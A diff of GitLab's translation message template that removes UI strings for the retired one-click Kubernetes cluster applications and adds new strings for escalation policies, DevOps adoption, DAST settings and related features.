-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7432,15 +7462,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7453,9 +7474,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7477,9 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7498,15 +7513,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7528,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7543,15 +7546,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7573,15 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7630,12 +7621,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7651,9 +7636,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7669,9 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7714,27 +7693,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7762,9 +7726,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7774,18 +7735,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7807,39 +7756,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7873,9 +7792,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7924,12 +7840,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7972,9 +7882,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7984,15 +7891,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -8029,24 +7927,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -8059,9 +7939,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -8110,15 +7987,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -8143,9 +8014,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -8164,27 +8032,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -8194,24 +8047,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8242,9 +8077,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8266,21 +8098,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8305,27 +8125,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8341,12 +8146,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8419,6 +8218,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8434,9 +8236,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8737,9 +8545,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8776,9 +8581,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8797,42 +8599,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8851,6 +8620,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -9109,6 +8881,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9466,7 +9241,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9505,6 +9280,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9571,6 +9349,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9811,9 +9592,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9940,9 +9718,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -10174,6 +9949,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -10183,9 +9964,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -10201,9 +9979,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10279,6 +10054,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10504,9 +10282,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10573,6 +10348,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10936,9 +10723,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10963,6 +10747,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10996,7 +10783,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -11116,6 +10903,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11815,12 +11605,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11878,7 +11686,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11890,21 +11698,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11938,6 +11749,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11959,6 +11773,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11977,15 +11794,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -12175,7 +11989,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -12226,7 +12040,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -12235,6 +12049,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12451,9 +12268,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12487,9 +12301,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12550,6 +12361,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12679,6 +12493,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12688,13 +12505,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12775,13 +12595,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12799,6 +12616,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12814,9 +12634,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12826,9 +12643,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12958,6 +12772,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -13123,9 +12940,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13606,7 +13420,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13615,30 +13429,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13648,6 +13486,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13684,9 +13531,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13834,7 +13678,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13855,9 +13699,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13954,9 +13795,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13975,9 +13813,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -14263,9 +14098,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14299,9 +14131,6 @@ msgstr ""
